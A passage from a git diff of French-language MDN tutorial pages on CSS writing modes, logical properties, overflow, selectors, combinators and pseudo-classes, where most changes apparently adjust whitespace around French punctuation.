+Nous avons déjà abordé [la disposition en ligne et en bloc](/fr/docs/Learn/CSS/Building_blocks/The_box_model#block_and_inline_boxes) et le fait que certains éléments s'affichent en bloc et d'autres en ligne. Dans les descriptions précédentes, on voit que le caractère « de bloc » ou « en ligne » est lié au mode d'écriture du document et pas à l'écran, physique. Les blocs sont uniquement affichés de haut en bas sur la page si on utilise un mode d'écriture qui organise le texte horizontalement, comme celui utilisé pour le français. Prenons un exemple pour éclaircir tout ça. Ici, on a deux boîtes qui contiennent un titre et un paragraphe. La première boîte utilise `writing-mode: horizontal-tb`, c'est-à-dire un mode d'écriture où le texte est écrit horizontalement et où le contenu s'organise du haut de la page vers le bas. La deuxième boîte utilise `writing-mode: vertical-rl`, c'est-à-dire un mode d'écriture où le texte est écrit verticalement et où le contenu va de droite à gauche. {{EmbedGHLiveSample("css-examples/learn/writing-modes/block-inline.html", '100%', 1200)}} -Lorsqu'on change de mode d'écriture, on change la direction utilisée pour l'axe de bloc et celle pour l'axe en ligne. Avec un mode d'écriture `horizontal-tb`, la direction de bloc va de haut en bas avec un mode d'écriture `vertical-rl`, la direction de bloc va de droite à gauche. Ainsi, la **dimension de bloc** correspond toujours à la direction selon laquelle les blocs sont affichés sur la page pour le mode d'écriture utilisé. La **dimension en ligne** correspond toujours à la direction selon laquelle les phrases sont écrites. +Lorsqu'on change de mode d'écriture, on change la direction utilisée pour l'axe de bloc et celle pour l'axe en ligne. Avec un mode d'écriture `horizontal-tb`, la direction de bloc va de haut en bas avec un mode d'écriture `vertical-rl`, la direction de bloc va de droite à gauche. Ainsi, la **dimension de bloc** correspond toujours à la direction selon laquelle les blocs sont affichés sur la page pour le mode d'écriture utilisé. La **dimension en ligne** correspond toujours à la direction selon laquelle les phrases sont écrites. Ce schéma illustre les deux dimensions pour un mode d'écriture horizontal. @@ -74,7 +74,7 @@ Lorsqu'on commence à travailler sur des dispositions CSS, notamment avec les m ### Direction -En plus des modes d'écriture, il existe également la direction du texte. Comme mentionné avant, certaines langues comme l'arabe sont écrites horizontalement mais de droite à gauche. Il ne s'agit probablement pas là d'un aspect qui sera utilisé à des fins artistiques (si on souhaite aligner quelque chose à droite, il existe d'autres façons de faire) mais il est important de comprendre que cela fait partie de la nature de CSS. Le Web ne concerne pas uniquement les langues écrites de gauches à droite ! +En plus des modes d'écriture, il existe également la direction du texte. Comme mentionné avant, certaines langues comme l'arabe sont écrites horizontalement mais de droite à gauche. Il ne s'agit probablement pas là d'un aspect qui sera utilisé à des fins artistiques (si on souhaite aligner quelque chose à droite, il existe d'autres façons de faire) mais il est important de comprendre que cela fait partie de la nature de CSS. Le Web ne concerne pas uniquement les langues écrites de gauches à droite ! Étant donné que les modes d'écritures et les directions du texte peuvent varier, les nouvelles méthodes de disposition CSS ne font pas référence à la gauche, la droite, le haut ou le bas. À la place, elles utilisent les notions de _début_ et de _fin_, combinées aux notions bloc et en ligne. Ne vous souciez pas trop de ça pour le moment, mais gardez ces idées en tête lorsque vous verrez ces notions pour les méthodes de disposition, cela vous sera utile pour une bonne compréhension de CSS. @@ -82,15 +82,15 @@ En plus des modes d'écriture, il existe également la direction du texte. Comme Nous abordons maintenant les modes d'écriture et la direction du texte maintenant, car les propriétés que nous avons vues jusqu'à présent étaient plutôt liées aux dimensions physiques de l'écran et à un mode d'écriture horizontal. -Reprenons nos deux boîtes : celle avec le mode d'écriture `horizontal-tb` et celle avec le mode d'écriture `vertical-rl`. Pour ces deux boîtes, on a défini [`width`](/fr/docs/Web/CSS/width). Pour la boîte avec le mode d'écriture vertical, cela provoque un dépassement du texte. +Reprenons nos deux boîtes : celle avec le mode d'écriture `horizontal-tb` et celle avec le mode d'écriture `vertical-rl`. Pour ces deux boîtes, on a défini [`width`](/fr/docs/Web/CSS/width). Pour la boîte avec le mode d'écriture vertical, cela provoque un dépassement du texte. {{EmbedGHLiveSample("css-examples/learn/writing-modes/width.html", '100%', 1200)}} -Ce qu'on veut plus probablement dans ce scénario, c'est de passer de la largeur à la hauteur selon le mode d'écriture : quand on utilise un mode d'écriture vertical, on souhaite que la boîte soit redimensionnée selon l'axe de bloc, comme pour le mode horizontal. +Ce qu'on veut plus probablement dans ce scénario, c'est de passer de la largeur à la hauteur selon le mode d'écriture : quand on utilise un mode d'écriture vertical, on souhaite que la boîte soit redimensionnée selon l'axe de bloc, comme pour le mode horizontal. Pour faciliter cela, CSS est désormais doté d'un ensemble de propriétés correspondantes. Dans l'ensemble, ces propriétés remplacent les propriétés physiques comme `width` ou `height` par des versions **logiques** ou **relatives au flux**. -La propriété logique qui correspond à `width` lorsqu'on utilise un mode d'écriture horizontal est appelée [`inline-size`](/fr/docs/Web/CSS/inline-size) : elle fait référence à la dimension selon l'axe en ligne. La propriété correspondant à `height` est quant à elle intitulée [`block-size`](/fr/docs/Web/CSS/block-size) et représente la taille selon la dimension de bloc. Vous pouvez observer leur fonctionnement dans l'exemple qui suit où nous avons remplacé `width` par `inline-size`. +La propriété logique qui correspond à `width` lorsqu'on utilise un mode d'écriture horizontal est appelée [`inline-size`](/fr/docs/Web/CSS/inline-size) : elle fait référence à la dimension selon l'axe en ligne. La propriété correspondant à `height` est quant à elle intitulée [`block-size`](/fr/docs/Web/CSS/block-size) et représente la taille selon la dimension de bloc. Vous pouvez observer leur fonctionnement dans l'exemple qui suit où nous avons remplacé `width` par `inline-size`. {{EmbedGHLiveSample("css-examples/learn/writing-modes/inline-size.html", '100%', 950)}} @@ -106,7 +106,7 @@ Vous pouvez voir une comparaison entre les propriétés physiques et logiques ci **Si vous changez le mode d'écriture des boîtes en modifiant la valeur de `writing-mode` sur le sélecteur `.box` afin de la passer à `vertical-rl`, vous pourrez voir que les propriétés physiques restent liées aux directions physiques tandis que les propriétés logiques s'adaptent en fonction du mode d'écriture.** -**Vous pouvez également voir que [`<h2>`](/fr/docs/Web/HTML/Element/Heading_Elements) a une bordure avec `border-bottom`. Pouvez-vous adapter le code afin que la bordure sous le texte suive cette direction, quel que soit le mode d'écriture ?** +**Vous pouvez également voir que [`<h2>`](/fr/docs/Web/HTML/Element/Heading_Elements) a une bordure avec `border-bottom`. Pouvez-vous adapter le code afin que la bordure sous le texte suive cette direction, quel que soit le mode d'écriture ?** {{EmbedGHLiveSample("css-examples/learn/writing-modes/logical-mbp.html", '100%', 1200)}} @@ -114,7 +114,7 @@ Il existe de nombreuses propriétés détaillées pour gérer les différents as ### Valeurs logiques -Jusqu'à présent, nous avons étudié les noms des propriétés logiques. Il existe également des propriétés dont les valeurs sont caractérisées physiquement comme `top`, `right`, `bottom`, et `left`. Ces valeurs disposent également d'équivalences logiques : `block-start`, `inline-end`, `block-end`, et `inline-start`. +Jusqu'à présent, nous avons étudié les noms des propriétés logiques. Il existe également des propriétés dont les valeurs sont caractérisées physiquement comme `top`, `right`, `bottom`, et `left`. Ces valeurs disposent également d'équivalences logiques : `block-start`, `inline-end`, `block-end`, et `inline-start`. Ainsi, on peut faire flotter une image à gauche pour que le texte soit écrit autour de l'image. Dans l'exemple qui suit, vous pouvez remplacer `left` avec `inline-start`. @@ -126,13 +126,13 @@ Ici, on utilise aussi les valeurs logiques pour les marges afin de s'assurer que > **Note :** Actuellement, seul Firefox prend en charge les valeurs relatives de flux pour `float`. Si vous utilisez **Google Chrome** ou **Microsoft Edge**, vous obtiendrez vraisemblablement un résultat où l'image ne flotte pas. -### Faut-il utiliser les propriétés physiques ou logiques ? +### Faut-il utiliser les propriétés physiques ou logiques ? Les propriétés logiques et les valeurs correspondantes sont plus récentes que leurs équivalents physiques et l'implémentation de ces premières est donc également plus récente. Vous pouvez consulter la page de chaque propriété sur MDN pour vérifier le tableau de compatibilité des navigateurs. Si vous n'utilisez pas plusieurs modes d'écriture, vous pourrez préférer les versions physiques. Toutefois, on s'attend à terme que les personnes utilisent les versions logiques dans la majorité des cas étant donné leur pertinence pour certaines méthodes de dispositions comme les grilles CSS ou <i lang="en">flexbox</i>. -## Testez vos compétences ! +## Testez vos compétences ! -Nous avons abordé de nombreux concepts dans cet article, mais avez-vous retenu les informations fondamentales ? Vous pourrez trouver différents tests sur le sujet pour vérifier que vous avez assimilé les bonnes informations : voir [Testez vos compétences : les modes d'écriture](/fr/docs/Learn/CSS/Building_blocks/Writing_Modes_Tasks). +Nous avons abordé de nombreux concepts dans cet article, mais avez-vous retenu les informations fondamentales ? Vous pourrez trouver différents tests sur le sujet pour vérifier que vous avez assimilé les bonnes informations : voir [Testez vos compétences : les modes d'écriture](/fr/docs/Learn/CSS/Building_blocks/Writing_Modes_Tasks). ## Résumé diff --git a/files/fr/learn/css/building_blocks/index.md b/files/fr/learn/css/building_blocks/index.md index 7900ce85d5..15a1e0310f 100644 --- a/files/fr/learn/css/building_blocks/index.md +++ b/files/fr/learn/css/building_blocks/index.md @@ -10,18 +10,18 @@ original_slug: Apprendre/CSS/Building_blocks --- {{LearnSidebar}} -Ce cours fait suite aux [premiers pas avec CSS](/fr/docs/Learn/CSS/First_steps) : vous avez déjà acquis une bonne familiarité avec le langage et sa syntaxe, avec déjà des expériences d'utilisation de CSS. Il est donc temps d'approfondir le sujet. On examine ici les principes de cascade et d’héritage, tous les types de sélecteurs à notre disposition, les unités, le dimensionnement, les arrière-plans de style et les limites, le débogage, et bien d'autres choses. +Ce cours fait suite aux [premiers pas avec CSS](/fr/docs/Learn/CSS/First_steps) : vous avez déjà acquis une bonne familiarité avec le langage et sa syntaxe, avec déjà des expériences d'utilisation de CSS. Il est donc temps d'approfondir le sujet. On examine ici les principes de cascade et d’héritage, tous les types de sélecteurs à notre disposition, les unités, le dimensionnement, les arrière-plans de style et les limites, le débogage, et bien d'autres choses. -L'objectif est d'introduire les outils qui feront de vous un utilisateur CSS compétent avec une bonne compréhension du cœur de la théorie CSS. Nous étudierons plus tard des sujets plus spécifiques comme [le style de texte](/fr/docs/Learn/CSS/Styling_text) et la [mise en page CSS](/fr/docs/Apprendre/CSS/CSS_layout). +L'objectif est d'introduire les outils qui feront de vous un utilisateur CSS compétent avec une bonne compréhension du cœur de la théorie CSS. Nous étudierons plus tard des sujets plus spécifiques comme [le style de texte](/fr/docs/Learn/CSS/Styling_text) et la [mise en page CSS](/fr/docs/Apprendre/CSS/CSS_layout). ## Prérequis Avant de commencer ce cours, nous vous recommandons : 1. D'être familiarisé avec l'usage des ordinateurs et avec la navigation sur internet. -2. De disposer d'un environnement de travail comme il est décrit dans l'article [installation des outils de base](/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base) et de savoir créer et gérer des fichiers (cf. leçon [gérer les fichiers](/fr/docs/Apprendre/Commencer_avec_le_web/G%C3%A9rer_les_fichiers)). -3. D'être suffisamment à votre aise avec HTML (voir le cours [introduction au HTML](/fr/docs/Apprendre/HTML/Introduction_à_HTML)). -4. D'avoir compris les bases du CSS telles qu'exposées dans le cours [premiers pas avec CSS.](/fr/docs/Learn/CSS/First_steps) +2. De disposer d'un environnement de travail comme il est décrit dans l'article [installation des outils de base](/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base) et de savoir créer et gérer des fichiers (cf. leçon [gérer les fichiers](/fr/docs/Apprendre/Commencer_avec_le_web/G%C3%A9rer_les_fichiers)). +3. D'être suffisamment à votre aise avec HTML (voir le cours [introduction au HTML](/fr/docs/Apprendre/HTML/Introduction_à_HTML)). +4. D'avoir compris les bases du CSS telles qu'exposées dans le cours [premiers pas avec CSS.](/fr/docs/Learn/CSS/First_steps) > **Note :** Si vous travaillez sur un ordinateur, une tablette ou tout autre appareil sur lequel vous n'avez pas la possibilité de créer vos propres fichiers, vous pourrez tester (la plupart) des exemples de code dans un site de programmation en ligne comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/fr/). diff --git a/files/fr/learn/css/building_blocks/overflowing_content/index.md b/files/fr/learn/css/building_blocks/overflowing_content/index.md index d44a3e9f3c..5a42f16382 100644 --- a/files/fr/learn/css/building_blocks/overflowing_content/index.md +++ b/files/fr/learn/css/building_blocks/overflowing_content/index.md @@ -11,7 +11,7 @@ Dans ce cours nous allons étudier un autre concept important en CSS : les **dé <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Connaissances élémentaires en informatique, <a @@ -31,7 +31,7 @@ Dans ce cours nous allons étudier un autre concept important en CSS : les **dé </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td>Comprendre le principe des débordements et comment les gérer.</td> </tr> </tbody> @@ -59,7 +59,7 @@ Dans la mesure du possible, le CSS ne masque pas votre contenu ; le faire entra Si vous avez défini une boîte avec des valeurs `width` ou `height`, CSS part du principe que vous savez ce que vous faites et que vous gérez le risque de débordement. En général, contraindre la dimension du bloc est problématique lorsque du texte va être mis dans une boîte, car il peut y avoir plus de texte que prévu lors de la conception du site ou que le texte peut être plus gros - par exemple si l'utilisateur a augmenté la taille de sa police. -Dans les deux prochaines leçons, nous examinerons différentes façons de contrôler la taille des éléments afin de limiter le dépassement. Cependant, si vous avez besoin d'une taille fixe, vous pouvez également contrôler le comportement du trop-plein. Voyons maintenant ! +Dans les deux prochaines leçons, nous examinerons différentes façons de contrôler la taille des éléments afin de limiter le dépassement. Cependant, si vous avez besoin d'une taille fixe, vous pouvez également contrôler le comportement du trop-plein. Voyons maintenant ! ## La propriété overflow @@ -103,7 +103,7 @@ Les méthodes de mise en page modernes (comme étudiées dans le module [La mise Lorsque vous développez un site, vous devez toujours garder à l'esprit les problèmes de débordement. Vous devez tester des conceptions avec des quantités de contenu importantes et réduites, augmenter la taille de la police et vous assurer que votre CSS peut s'en sortir de manière efficace. La modification de la valeur d'`overflow` pour masquer le contenu ou ajouter des barres de défilement ne sera probablement réservée qu'à quelques rares cas particuliers - par exemple lorsque vous voulez spécifiquement une barre de défilement. -## Testez vos compétences ! +## Testez vos compétences ! Nous avons couvert beaucoup de choses dans cet article, mais pouvez-vous vous souvenir des informations les plus importantes ? Vous pouvez trouver d'autres tests pour vérifier que vous avez bien retenu ces informations avant de partir - voir (en anglais) [Testez vos compétences: overflow](/fr/docs/Learn/CSS/Building_blocks/Overflow_Tasks). diff --git a/files/fr/learn/css/building_blocks/selectors/attribute_selectors/index.md b/files/fr/learn/css/building_blocks/selectors/attribute_selectors/index.md index 243de46424..659a8e461f 100644 --- a/files/fr/learn/css/building_blocks/selectors/attribute_selectors/index.md +++ b/files/fr/learn/css/building_blocks/selectors/attribute_selectors/index.md @@ -11,7 +11,7 @@ Dans l'étude de HTML, nous avons vu les attributs d'un élément. En CSS, on pe <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Maîtrise élémentaire de l'informatique, <a @@ -30,7 +30,7 @@ Dans l'étude de HTML, nous avons vu les attributs d'un élément. En CSS, on pe </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td>Découvrir les sélecteurs d'attribut et comment les utiliser.</td> </tr> </tbody> diff --git a/files/fr/learn/css/building_blocks/selectors/combinators/index.md b/files/fr/learn/css/building_blocks/selectors/combinators/index.md index 7bbafe2f86..eb2a003007 100644 --- a/files/fr/learn/css/building_blocks/selectors/combinators/index.md +++ b/files/fr/learn/css/building_blocks/selectors/combinators/index.md @@ -10,7 +10,7 @@ original_slug: Apprendre/CSS/Building_blocks/Selectors/Combinateurs --- {{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks")}} -Les derniers sélecteurs que nous allons étudier sont appelés combinateurs, car ils combinent différents sélecteurs de façon à leur donner une relation utile et l'emplacement du contenu dans le document. +Les derniers sélecteurs que nous allons étudier sont appelés combinateurs, car ils combinent différents sélecteurs de façon à leur donner une relation utile et l'emplacement du contenu dans le document. <table class="standard-table"> <tbody> @@ -25,7 +25,7 @@ Les derniers sélecteurs que nous allons étudier sont appelés combinateurs, ca <a href="/fr/docs/https://developer.mozilla.org/fr/docs/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers" >gestion des fichiers</a - >, les bases du HTML (voir <a + >, les bases du HTML (voir <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML" >Introduction au HTML</a >), et une idée du fonctionnement du CSS (voir @@ -65,7 +65,7 @@ Le combinateur enfant (`>`) est placé entre deux sélecteurs CSS. Il correspond article > p ``` -Dans cet exemple suivant, nous avons une liste non ordonnée, imbriquée à l'intérieur de laquelle se trouve une liste ordonnée. Nous utilisons le combinateur enfant pour sélectionner uniquement les éléments `<li>` qui sont un enfant direct d'un `<ul>`, et leur ai donné une bordure supérieure. +Dans cet exemple suivant, nous avons une liste non ordonnée, imbriquée à l'intérieur de laquelle se trouve une liste ordonnée. Nous utilisons le combinateur enfant pour sélectionner uniquement les éléments `<li>` qui sont un enfant direct d'un `<ul>`, et leur ai donné une bordure supérieure. si vous supprimez le `>` qui désigne cela comme un combinateur enfant, vous vous retrouvez avec un sélecteur descendant et tous les éléments `<li>` auront une bordure rouge. @@ -85,9 +85,9 @@ Si vous insérez un autre élément tel qu'un `<h2>` entre le `<h1>` et le `<p>` {{EmbedGHLiveSample("css-examples/learn/selectors/adjacent.html", '100%', 800)}} -## Combinateur général de frères +## Combinateur général de frères -Si vous souhaitez sélectionner les frères d'un élément même s'ils ne sont pas directement adjacents, vous pouvez utiliser le combinateur général de frères (`~`). Pour sélectionner tous les éléments `<img>` qui viennent n'importe où après les éléments `<p>`, nous ferions ceci: +Si vous souhaitez sélectionner les frères d'un élément même s'ils ne sont pas directement adjacents, vous pouvez utiliser le combinateur général de frères (`~`). Pour sélectionner tous les éléments `<img>` qui viennent n'importe où après les éléments `<p>`, nous ferions ceci: ```css p ~ img @@ -111,11 +111,11 @@ Il est souvent préférable de créer une classe simple et de l'appliquer à l' ## Testez vos compétences! -Nous en avons beaucoup vu dans cet article, mais pouvez-vous vous souvenir des informations les plus importantes? Vous pouvez trouver d'autres tests pour vérifier que vous avez conservé ces informations avant de continuer - voir [Test your skills: Selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors/Selectors_Tasks). +Nous en avons beaucoup vu dans cet article, mais pouvez-vous vous souvenir des informations les plus importantes? Vous pouvez trouver d'autres tests pour vérifier que vous avez conservé ces informations avant de continuer - voir [Test your skills: Selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors/Selectors_Tasks). ## Passer à la suite -Ceci est la dernière section de nos leçons sur les sélecteurs. Ensuite, nous passerons à une autre partie importante du CSS - le [modèle de Boîte](/fr/docs/Apprendre/CSS/Building_blocks/Le_modele_de_boite). +Ceci est la dernière section de nos leçons sur les sélecteurs. Ensuite, nous passerons à une autre partie importante du CSS - le [modèle de Boîte](/fr/docs/Apprendre/CSS/Building_blocks/Le_modele_de_boite). {{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks")}} @@ -138,4 +138,4 @@ Ceci est la dernière section de nos leçons sur les sélecteurs. Ensuite, nous 9. [Images, média, et élements de formulaire](/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements) 10. [Mise en page de tableaux](/fr/docs/Apprendre/CSS/Building_blocks/Styling_tables) 11. [Débogage CSS](/fr/docs/Apprendre/CSS/Building_blocks/Debugging_CSS) -12. [Organiser votre CSS](/fr/docs/https://developer.mozilla.org/en-US/docs/Learn/CSS/Building_blocks/Organizing) +12. [Organiser votre CSS](/fr/docs/https://developer.mozilla.org/en-US/docs/Learn/CSS/Building_blocks/Organizing) diff --git a/files/fr/learn/css/building_blocks/selectors/index.md b/files/fr/learn/css/building_blocks/selectors/index.md index ad59f05b6a..69779af268 100644 --- a/files/fr/learn/css/building_blocks/selectors/index.md +++ b/files/fr/learn/css/building_blocks/selectors/index.md @@ -11,7 +11,7 @@ Dans {{Glossary("CSS")}}, les sélecteurs sont utilisés pour cibler les éléme <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Notions de base en l'informatique, <a @@ -28,7 +28,7 @@ Dans {{Glossary("CSS")}}, les sélecteurs sont utilisés pour cibler les éléme </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td>Voir dans les détails comment les sélecteurs CSS fonctionnent.</td> </tr> </tbody> diff --git a/files/fr/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.md b/files/fr/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.md index 6e9c0d478a..444d0fae86 100644 --- a/files/fr/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.md +++ b/files/fr/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.md @@ -14,7 +14,7 @@ original_slug: Apprendre/CSS/Building_blocks/Selectors/Pseudo-classes_et_pseudo- --- {{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks")}} -Voyons maintenant les sélecteurs de **pseudo-classes** et de **pseudo-éléments**. Il en existe un grand nombre, ces sélecteurs sont souvent assez spécifiques. Une fois que vous aurez compris comment les utiliser, revenez consulter leur liste pour voir si quelque chose peut fonctionner dans la tâche que vous essayez d'accomplir. Une fois encore, vérifiez la prise en charge par les navigateurs sur la page MDN associée à chaque sélecteur. +Voyons maintenant les sélecteurs de **pseudo-classes** et de **pseudo-éléments**. Il en existe un grand nombre, ces sélecteurs sont souvent assez spécifiques. Une fois que vous aurez compris comment les utiliser, revenez consulter leur liste pour voir si quelque chose peut fonctionner dans la tâche que vous essayez d'accomplir. Une fois encore, vérifiez la prise en charge par les navigateurs sur la page MDN associée à chaque sélecteur. <table class="standard-table"> <tbody> @@ -25,13 +25,13 @@ Voyons maintenant les sélecteurs de **pseudo-classes** et de **pseudo-élémen <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base" >suite logicielle de base installée</a - >, compétences élémentaires pour <a + >, compétences élémentaires pour <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers" >travailler avec des fichiers</a - >, connaissance de base du HTML (cf. <a + >, connaissance de base du HTML (cf. <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML" >Introduction à HTML</a - >), et une idée de <a + >), et une idée de <a href="/fr/docs/Learn/CSS/First_steps/How_CSS_works" >Comment fonctionne CSS</a >. @@ -46,23 +46,23 @@ Voyons maintenant les sélecteurs de **pseudo-classes** et de **pseudo-élémen ## Qu'est ce qu'une pseudo-classe ? -Une pseudo-classe est un sélecteur ciblant des éléments dans un état spécifique, par ex. le premier élément d'un type, ou un élément survolé par le pointeur de la souris. Leur comportement correspond à celui d'une classe, mais qui ne s'appliquerait que partiellement. On gagne ainsi en flexibilité, en éliminant du code inutile. Le résultat est plus facile à maintenir. +Une pseudo-classe est un sélecteur ciblant des éléments dans un état spécifique, par ex. le premier élément d'un type, ou un élément survolé par le pointeur de la souris. Leur comportement correspond à celui d'une classe, mais qui ne s'appliquerait que partiellement. On gagne ainsi en flexibilité, en éliminant du code inutile. Le résultat est plus facile à maintenir. -Les pseudo-classes sont signalées par un mot clé commençant par deux points `:` +Les pseudo-classes sont signalées par un mot clé commençant par deux points `:` :pseudo-class-name -### Exemple d'une pseudo-classe élémentaire +### Exemple d'une pseudo-classe élémentaire -Voyons cela dans un premier exemple. Pour agrandir et mettre en gras le texte du premier paragraphe d'un article, on pourrait attribuer une classe à ce paragraphe, puis lui ajouter du CSS, comme ci-dessous : +Voyons cela dans un premier exemple. Pour agrandir et mettre en gras le texte du premier paragraphe d'un article, on pourrait attribuer une classe à ce paragraphe, puis lui ajouter du CSS, comme ci-dessous : {{EmbedGHLiveSample("css-examples/learn/selectors/first-child.html", '100%', 800)}} -Mais cette solution est difficile à maintenir — que se passe-t-il si un nouveau paragraphe est ajouté en haut du document ? Il faut dans ce cas déplacer manuellement la classe vers le nouveau paragraphe. Une solution plus souple est d'utiliser le sélecteur de pseudo-classe {{cssxref (": first-child")}} — cela cible *dans tous les cas* le premier élément enfant de l'article : plus nécessaire d'éditer le code HTML (particulièrement utile en particulier quand le code HTML est généré par un CMS.) +Mais cette solution est difficile à maintenir — que se passe-t-il si un nouveau paragraphe est ajouté en haut du document ? Il faut dans ce cas déplacer manuellement la classe vers le nouveau paragraphe. Une solution plus souple est d'utiliser le sélecteur de pseudo-classe {{cssxref (": first-child")}} — cela cible *dans tous les cas* le premier élément enfant de l'article : plus nécessaire d'éditer le code HTML (particulièrement utile en particulier quand le code HTML est généré par un CMS.) {{EmbedGHLiveSample ("css-examples/learn/selectors/first-child2.html", '100%', 700)}} -Toutes les pseudo-classes se comportent de la même manière. Elles ciblent les éléments du document dans un état donné, comme si vous aviez ajouté une classe dans votre code HTML. Jetez un œil à quelques exemples sur MDN : +Toutes les pseudo-classes se comportent de la même manière. Elles ciblent les éléments du document dans un état donné, comme si vous aviez ajouté une classe dans votre code HTML. Jetez un œil à quelques exemples sur MDN : - [`:last-child`](/fr/docs/Web/CSS/:last-child) - [`:only-child`](/fr/docs/Web/CSS/:only-child) @@ -72,12 +72,12 @@ Toutes les pseudo-classes se comportent de la même manière. Elles ciblent les Certaines pseudo-classes ne s'appliquent que lorsque l'utilisateur interagit avec le document d'une manière ou d'une autre. Ces pseudo-classes d'action utilisateur, parfois appelées _pseudo-classes dynamiques_, agissent comme si une classe avait été ajoutée à l'élément lorsque l'utilisateur interagit avec lui. Par exemple : -[`:hover`](/fr/docs/Web/CSS/:hover) — mentionné ci-dessus ; s'applique quand l'utilisateur déplace son pointeur sur un élément, généralement un lien. -[`:focus`](/fr/docs/Web/CSS/:focus) — s'applique uniquement si l'utilisateur concentre l'élément à l'aide des commandes du clavier. +[`:hover`](/fr/docs/Web/CSS/:hover) — mentionné ci-dessus ; s'applique quand l'utilisateur déplace son pointeur sur un élément, généralement un lien. +[`:focus`](/fr/docs/Web/CSS/:focus) — s'applique uniquement si l'utilisateur concentre l'élément à l'aide des commandes du clavier. {{EmbedGHLiveSample("css-examples/learn/selectors/hover.html", '100%', 500)}} -## Qu'est ce qu'un pseudo-élément ? +## Qu'est ce qu'un pseudo-élément ? Les pseudo-éléments se comportent de manière similaire, même s'ils se comportent comme si vous aviez ajouté un tout nouvel élément HTML dans le balisage, au lieu d'appliquer une classe à des éléments existants. Les pseudo-éléments commencent avec un double deux-points `::`. @@ -87,7 +87,7 @@ Les pseudo-éléments se comportent de manière similaire, même s'ils se compor Par exemple, si vous souhaitez sélectionner la première ligne d'un paragraphe, vous pouvez l'entourer d'un élément \<span> et utiliser un sélecteur d'éléments ; cependant, cela échouerait si le nombre de mots que vous avez entourés était plus long ou plus court que la largeur de l'élément parent. Comme nous avons tendance à ne pas savoir combien de mots tiendront sur une ligne - étant donné que cela peut varier si la largeur de l'écran ou la taille de la police change - il est impossible de le faire de manière robuste en ajoutant du HTML. -Le pseudo-sélecteur d'éléments `::first-line` le fera pour vous de manière fiable - même si le nombre de mots augmente ou diminue, il ne sélectionnera que la première ligne. +Le pseudo-sélecteur d'éléments `::first-line` le fera pour vous de manière fiable - même si le nombre de mots augmente ou diminue, il ne sélectionnera que la première ligne. {{EmbedGHLiveSample("css-examples/learn/selectors/first-line.html", '100%', 800)}} @@ -95,7 +95,7 @@ Il agit comme si un `<span>` était comme par magie placé autour de cette premi Vous pouvez voir que cela sélectionne la première ligne des deux paragraphes. -## Combiner pseudo-classes et pseudo-éléments +## Combiner pseudo-classes et pseudo-éléments Si vous souhaitez mettre en gras la première ligne du premier paragraphe, vous pouvez enchaîner les sélecteurs `:first-child` et `::first-line` Essayez de modifier l'exemple précédent en direct pour qu'il utilise le CSS suivant. Nous souhaitons sélectionner la première ligne du premier élément `<p>`, qui se trouve à l'intérieur d'un élément `<article>` @@ -110,7 +110,7 @@ article p:first-child::first-line { Il existe quelques pseudo-éléments spéciaux, qui sont utilisés avec la propriété [`content`](/fr/docs/Web/CSS/content) pour insérer du contenu dans votre document en utilisant le CSS. -Vous pouvez les utiliser pour insérer une chaîne de texte, comme dans l'exemple ci-dessous. Essayez de changer la valeur du texte de la propriété {{cssxref("content")}} et vous verrez qu'elle change en sortie. Vous pouvez également changer le pseudo-élément `::before` en `::after` et voir le texte inséré à la fin de l'élément au lieu du début. +Vous pouvez les utiliser pour insérer une chaîne de texte, comme dans l'exemple ci-dessous. Essayez de changer la valeur du texte de la propriété {{cssxref("content")}} et vous verrez qu'elle change en sortie. Vous pouvez également changer le pseudo-élément `::before` en `::after` et voir le texte inséré à la fin de l'élément au lieu du début. {{EmbedGHLiveSample("css-examples/learn/selectors/before.html", '100%', 400)}} @@ -122,7 +122,7 @@ Une utilisation plus pertinente de ces pseudo-éléments consiste à insérer un Ces pseudo-éléments sont aussi fréquemment utilisés pour insérer une chaîne vide, qui peut ensuite être stylisée comme n'importe quel élément de la page. -Dans l'exemple suivant, nous avons ajouté une chaîne vide en utilisant le e pseudo-élément `::before` pseudo-element. Nous l'avons défini en `display: block` afin de pouvoir la styliser avec une largeur et une hauteur. Nous utilisons ensuite le CSS pour la styliser comme n'importe quel élément. Vous pouvez jouer avec le CSS et modifier son apparence et son comportement. +Dans l'exemple suivant, nous avons ajouté une chaîne vide en utilisant le e pseudo-élément `::before` pseudo-element. Nous l'avons défini en `display: block` afin de pouvoir la styliser avec une largeur et une hauteur. Nous utilisons ensuite le CSS pour la styliser comme n'importe quel élément. Vous pouvez jouer avec le CSS et modifier son apparence et son comportement. {{EmbedGHLiveSample("css-examples/learn/selectors/before-styled.html", '100%', 500)}} @@ -130,7 +130,7 @@ 